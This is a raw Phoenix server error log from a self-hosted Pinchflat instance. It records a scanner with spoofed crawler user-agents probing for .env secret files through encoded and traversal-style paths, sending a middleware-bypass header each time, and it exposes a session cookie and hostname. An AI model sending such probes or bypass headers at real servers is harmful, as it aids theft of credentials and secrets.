"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/ (truncated) 16:49:03.046 [error] #PID<0.29475.0> running PinchflatWeb.Endpoint (connection #PID<0.29472.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /static//home/user/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/home/user/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29472.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static//home/user/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33176}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29475.0>, params: %{}, path_info: ["static", "home", "user", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/static//home/user/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61KgK26OUUrwABvTh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29472.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static//home/user/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33176}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/home/user/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29472.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static//home/user/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33176}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, (truncated) 16:49:03.046 [error] #PID<0.29474.0> running PinchflatWeb.Endpoint (connection #PID<0.29473.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.//.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /./ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29473.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.//.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33178}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29474.0>, params: %{}, path_info: [".", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.//.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61KgKTYl0KjoAAH5j"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29473.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.//.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33178}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /./ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29473.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.//.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33178}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, (truncated) 16:49:03.059 [info] GET /%2eenv 16:49:03.059 [debug] QUERY OK source="settings" db=0.0ms idle=14.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.059 [debug] QUERY OK source="settings" db=0.0ms idle=13.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.059 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:03.059 [error] #PID<0.29477.0> running PinchflatWeb.Endpoint (connection #PID<0.29476.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /%2eenv ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%2eenv (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29476.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2eenv", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33186}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29477.0>, params: %{}, path_info: ["%2eenv"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/%2eenv", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61KjVmB5o9iMABvUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29476.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2eenv", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33186}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%2eenv (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29476.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2eenv", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33186}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" (truncated) 16:49:03.254 [info] GET /admin%2F.env 16:49:03.254 [debug] QUERY OK source="settings" db=0.1ms idle=208.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.254 [debug] QUERY OK source="settings" db=0.0ms idle=208.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.254 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:03.254 [error] #PID<0.29479.0> running PinchflatWeb.Endpoint (connection #PID<0.29478.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /admin%2F.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin%2F (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29478.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin%2F.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33192}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29479.0>, params: %{}, path_info: ["admin%2F"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/admin%2F.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61LRzIvMx1U4ABvUh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, 